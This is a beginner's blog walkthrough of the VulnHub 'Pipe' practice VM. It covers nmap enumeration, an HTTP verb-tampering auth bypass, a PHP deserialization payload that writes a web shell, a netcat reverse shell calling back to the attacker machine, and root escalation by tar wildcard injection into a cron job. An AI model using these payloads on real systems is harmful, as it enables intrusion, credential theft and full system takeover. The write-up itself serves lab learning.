VulnHub Pipe Walkthrough

How do you get to be a pentester? Practice.

Pipe is a VM created by Sagi. I made a new commitment to myself to start working through these and writing them up, and this is my first example. My solution below is not unique, it is an amalgamation of techniques I grabbed reading the walkthroughs linked on VulnHub.com.

Step 0 : Get it running
I used Virtualbox for this because it’s what I had handy. The VM comes as an OVA, so loading it in Virtualbox is simple, just File -> Import. Networking can be confusing if you’re not practiced with hypervisors, in my case I chose to create a Host-only network(Virtualbox -> Preferences -> Network -> Host-only networks), checked the IP range and that DHCP was turned on. After import, you want to verify the network adapter settings of the VM and start it. In my case I did it headless. I have no need to interact with the console, and since 5.0 Virtualbox has had the option in the GUI to start headless.

Step 1 : Discovery/Enumeration
The default option here is nmap. that’s where I ended up. First I thought to try the idea I read in this tweet, however, that’s for Windows, and I am on a Mac, and I’d rather do the practice attacking than translating cmd to bash. This means the fallback is for me to start googling the parameters I can never seem to remember.

$ nmap -sP 192.168.56.0/24

Wicked, host found at 192.168.56.101. Moving right along, what’s it running. Again, more googling for nmap parameters.

$ nmap -sV 192.168.56.101
Starting Nmap 6.47 ( http://nmap.org ) at 2016-02-03 17:30 EST 
Nmap scan report for 192.168.56.101 Host is up (0.0046s latency). 
Not shown: 997 closed ports 
PORT    STATE SERVICE VERSION 
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0) 
80/tcp  open  http    Apache httpd 
111/tcp open  rpcbind 2-4 (RPC #100000) 
Service Info: OS: Linux; CPE:
cpe:/o:linux:linux_kernel

Hooray! Open ports! Easy to investigate open ports, like 80. Pointing a browser at it is a little disheartening at first. All you get is a login dialog.

pipe1

All my reading on other people’s hard work leads me to believe that tampering with HTTP verbs will help. I pointed the browser at a localhost proxy on 8080 and fired up BurpSuite. I tried every verb I know about(or could read about on wikipedia) without much results. I did see a 405 error, which I can’t remembering having see before. To get these results I captured a get request and sent it to Burp’s repeater tab, then just altered the verb each time.

GET 401 
HEAD ok 
TRACE unallowed 405 
POST 401 
PUT 401 
OPTIONS 401 
DELETE 401

So moving right back to my handy cheatsheets, I found you just need to send an invalid verb. In my case I chose BOB. Again I met a snag. The base “/“ request didn’t work. Instead of running back to the answers, I looked at the evidence I had. Slash was redirecting to index.php. Trying http://192.168.56.101/index.php still got me the login box, but if I repeated that request with my friend BOB, I got a result! I sent that back to the browser to further investigate.

Clicking the only link on the page, watching in Burp, I see the following parameter

param

Seems like a great spot to start injecting things, but what? I threw it over to the decoder tab, but that didn’t really clear anything up for me. 

decode

Back to the cheatsheets. The source of index.php has a fun source for it’s javascript.

script_source

Oh look, an accessible directory!

sciptz

Reading the files didn’t personally give me any insight into what’s happening, which really shows I need to work on my code reading skills. This means back to the cheatsheets, for the wisdom of folks much more experienced than I.

Rolling back a step, that parameter feeds php.js. Which has access to write to the filesystem, which is BAD. If you feed it some sample ideas, like so,

O:3:"Log":2:{s:8:"filename";s:28:"/var/www/html/scriptz/me.txt";s:4:"data";s:11:"howdy%20rowdy”;}

you get a result like this,

me.text

OOOOOO, the power, I can feel it. Oh… I can feel it.

Step 2: Exploitation
Using a new parameter,

O:3:"Log":2:{s:8:"filename";s:29:"/var/www/html/scriptz/me5.php";s:4:” data";s:41:"<?php%20$cmd%3d$_GET['cmd'];%20system($cmd);%20?>";}

Teaches me all about webshells. And that I need to install something listening on my attacker computer. Homebrew to the rescue.

# from attacker machine
$ brew install netcat
…magic…
nc -l 8888

Time to do the real hacker stuff. Hitting this link with Firefox, and watch the magic of vulnerable web servers.

http://192.168.56.101/scripts/me5.php?cmd=nc 192.168.56.1 -e /bin/bash

Here’s what I saw and did to check myself when the connection came back.

Connection from 192.168.56.101:57650
ls -la
total 28
drwxr-xr-x 2 www-data www-data 4096 Feb  4 07:30 .
drwxr-xr-x 4 www-data www-data 4096 Jul  9  2015 ..
-rw-r--r-- 1 www-data www-data   94 Jul  9  2015 .htaccess
-rw-r--r-- 1 www-data www-data  474 Jul  6  2015 log.php.BAK
-rw-r--r-- 1 www-data www-data   11 Feb  4 07:15 me.txt
-rw-r--r-- 1 www-data www-data   41 Feb  4 07:30 me5.php
-rw-r--r-- 1 www-data www-data 3768 Jul  5  2015 php.js
whoami
www-data

Full disclosure, as a newb, I’ve done nearly nothing with remote shells in this capacity, and the lack of prompt threw me off. I accidentally killed the connection more than a few times following my example mentors. Reconnecting is as easy as hitting the up arrow in Terminal to restart the listener, then refreshing the link in Firefox to restart the connection. So what do we know now? We’re interacting with the vulnerable machine as the user www-data. What can we do? Plenty, as it turns out. Privilege escalation is the only logical solution. So I poked around looking for info in the few files I found.

cat /scriptz/.htaccess
IndexIgnore .htaccess
Satisfy any
<Files ".htaccess">
order allow,deny
deny from all

cd ../
cat .htaccess
AuthUserFile /var/www/html/.htpasswd
AuthName "index.php"
AuthType Basic

require valid-user

cat .htpasswd
rene:$apr1$wfYjXf4U$0ZZ.qhGGrtkOxvKr5WFqX/

/scriptz/.htaccess had nothing interesting. Moved up a directory, and .htaccess points to .htpassword. .htpassword has … A USER! W00t. Now what can our new best friend rene do? Start by looking to see if they have anything interesting.

ls -la /home/rene
total 24
drwxr-xr-x 3 rene rene 4096 Jul  6  2015 .
drwxr-xr-x 3 root root 4096 Jul  5  2015 ..
-rw-r--r-- 1 rene rene  220 Jul  5  2015 .bash_logout
-rw-r--r-- 1 rene rene 3515 Jul  5  2015 .bashrc
-rw-r--r-- 1 rene rene  675 Jul  5  2015 .profile
drwxrwxrwx 2 rene rene 4096 Feb 11 07:01 backup

ls -la /home/rene/backup
total 104
drwxrwxrwx 2 rene rene  4096 Feb 11 07:03 .
drwxr-xr-x 3 rene rene  4096 Jul  6  2015 ..
-rw-r--r-- 1 rene rene 64477 Feb 11 07:00 backup.tar.gz
-rw-r--r-- 1 rene rene 15757 Feb 11 07:02 sys-13457.BAK
-rw-r--r-- 1 rene rene 11472 Feb 11 07:01 sys-2789.BAK
-rw-r--r-- 1 rene rene   539 Feb 11 07:03 sys-3978.BAK

That’s pretty interesting. Something is writing files. Actively. Cron is a handy tool for automated things. Wonder what it has to say for itself.

cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /root/create_backup.sh
*/5 * * * * root /usr/bin/compress.sh

Again my inexperience is a detriment. The last time I looked at a crontab file was 5 years ago. The last two lines did stick out to me as something interesting. I can’t access /root as www-data. Can I read /usr/bin? Yup.

cat /usr/bin/compress.sh
#!/bin/sh

rm -f /home/rene/backup/backup.tar.gz
cd /home/rene/backup
tar cfz /home/rene/backup/backup.tar.gz *
chown rene:rene /home/rene/backup/backup.tar.gz
rm -f /home/rene/backup/*.BAK

Leaning on my mentors yet again, there is a vulnerability in the configuration. Distilled to the least number of characters, there’s a vulnerability in the tar command as entered. I had to read up on this, since even after following the demo, I didn’t understand how my actions had worked. Here’s the relevant explainer,

Simple trick behind this technique is that when using shell wildcards,
especially asterisk (*), Unix shell will interpret files beginning with hyphen(-) character as command line arguments to executed command/program. That leaves space for variation of classic channeling attack. Channeling problem will arise when different kind of information channels are combined into single channel. Practical case in form of particulary this technique is combining arguments and filenames, as different “channels” into single, because of using shell wildcards.

Leon Juranic

With that in mind, the exploit below makes much more sense. First I verified I was where I needed to be on the vulnerable machine.

pwd
/var/www/html/scriptz
cd /home/rene/backup
pwd
/home/rene/backup

Assumptions verified, I followed the example of my favorite anonymous mentor, @g0blinResearch. I’m inserting files named as commands, which in turn are telling the vulnerable string in /usr/bin/compress.sh to create shell.sh(as root b/c of cron) and that it should change the SUID bit on /bin/dash. This means that as /bin/dash is called from any user, it will be running as root. I may be articulating this poorly, but if you follow the commands below, you see I get root.

echo > --checkpoint=1;
echo > --checkpoint-action=exec=sh\ shell.sh;
echo 'chmod u+s /bin/dash' > shell.sh
chmod +x shell.sh

This is our exploit, creating three files, and changing shell.sh to be executable. Below I’m verifying this worked as intended.

ls -la
total 164
-rw-r--r-- 1 www-data www-data 1 Feb 11 07:12 --checkpoint-action=exec=sh shell.sh
-rw-r--r-- 1 www-data www-data 1 Feb 11 07:12 --checkpoint=1
drwxrwxrwx 2 rene rene 4096 Feb 11 07:13 .
drwxr-xr-x 3 rene rene 4096 Jul 6 2015 ..
-rw-r--r-- 1 rene rene 90755 Feb 11 07:10 backup.tar.gz
-rwxr-xr-x 1 www-data www-data 20 Feb 11 07:13 shell.sh
-rw-r--r-- 1 rene rene 25883 Feb 11 07:12 sys-2531.BAK
-rw-r--r-- 1 rene rene 465 Feb 11 07:13 sys-26349.BAK
-rw-r--r-- 1 rene rene 20350 Feb 11 07:11 sys-8054.BAK

Waiting for the next loop of cron to run, I go and get a cup of coffee and check back by running /bin/dash.

/bin/dash
whoami
root

#w00t

I guess that’s the root part of boot2root, huh? Well then. Lets just finish this quickly to get moved on to the next.

cd /root

ls
create_backup.sh
flag.txt
cat flag.txt
                                                   .aMMMMMMMMn.  ,aMMMMn.
                                                                 .aMccccccccc*YMMn.    `Mb
                                                                aMccccccccccccccc*Mn    MP
                                                               .AMMMMn.   MM `*YMMY*ccaM*
                                                              dM*  *YMMb  YP        `cMY
                                                              YM.  .dMMP   aMn.     .cMP
                                                               *YMMn.     aMMMMMMMMMMMY'
                                                                .'YMMb.           ccMP
                                                             .dMcccccc*Mc....cMb.cMP'
                                                           .dMMMMb;cccc*Mbcccc,IMMMMMMMn.
                                                          dY*'  '*M;ccccMM..dMMM..MP*cc*Mb
                                                          YM.    ,MbccMMMMMMMMMMMM*cccc;MP
                                                           *Mbn;adMMMMMMMMMMMMMMMIcccc;M*
                                                          dPcccccIMMMMMMMMMMMMMMMMa;c;MP
                                                          Yb;cc;dMMMMMMMMMMMP*'  *YMMP*
                                                           *YMMMPYMMMMMMP*'          curchack
                                                       +####################################+
                                                       |======                            | |
                                                       |======                            | |
                                                       |======                            | |
                                                       |======                            | |
                                                       |======                            | |
                                                       +----------------------------------+-+
                                                        ####################################
                                                             |======                  |
                                                             |======                  |
                                                             |=====                   |
                                                             |====                    |
                                                             |                        |
                                                             +                        +

 .d8888b.                 d8b          d8b               888                                                                    d8b
d88P  Y88b                Y8P          88P               888                                                                    Y8P
888    888                             8P                888
888        .d88b.  .d8888b888   88888b."  .d88b. .d8888b 888888   88888b.  8888b. .d8888b    888  88888888b.  .d88b.    88888b. 88888888b.  .d88b.
888       d8P  Y8bd88P"   888   888 "88b d8P  Y8b88K     888      888 "88b    "88b88K        888  888888 "88bd8P  Y8b   888 "88b888888 "88bd8P  Y8b
888    88888888888888     888   888  888 88888888"Y8888b.888      888  888.d888888"Y8888b.   888  888888  88888888888   888  888888888  88888888888
Y88b  d88PY8b.    Y88b.   888   888  888 Y8b.         X88Y88b.    888 d88P888  888     X88   Y88b 888888  888Y8b.       888 d88P888888 d88PY8b.   d8b
 "Y8888P"  "Y8888  "Y8888P888   888  888  "Y8888  88888P' "Y888   88888P" "Y888888 88888P'    "Y88888888  888 "Y8888    88888P" 88888888P"  "Y8888Y8P
                                                                  888                                                   888        888
                                                                  888                                                   888        888
                                                                  888                                                   888        888
Well Done!
Here's your flag: 0089cd4f9ae79402cdd4e7b8931892b7

And that’s all. I learned a ton. Hopefully as I do more of these there will be less leaning on the hard work of others, and more “hacker intuition”. In the mean time, this blog post is brought to you by the fine walkthroughs below,

https://research.g0blin.co.uk/devrandom-pipe-vulnhub-writeup/
http://rastamouse.me/blog/2015/pipe/
http://oldsmokingjoe.blogspot.sg/2015/12/dfdf-setsharsethernetpara.html

and the lovely folks at vulnhub.com. If you’re interested in this stuff, I highly recommend you pull down some of their VMs and try it yourself. It’s not that hard, it is that fun, and there’s a lot to learn!

Since I’m done, it’s time to turn off the lights on my way out of the VM, since I’m root and all.

shutdown -h now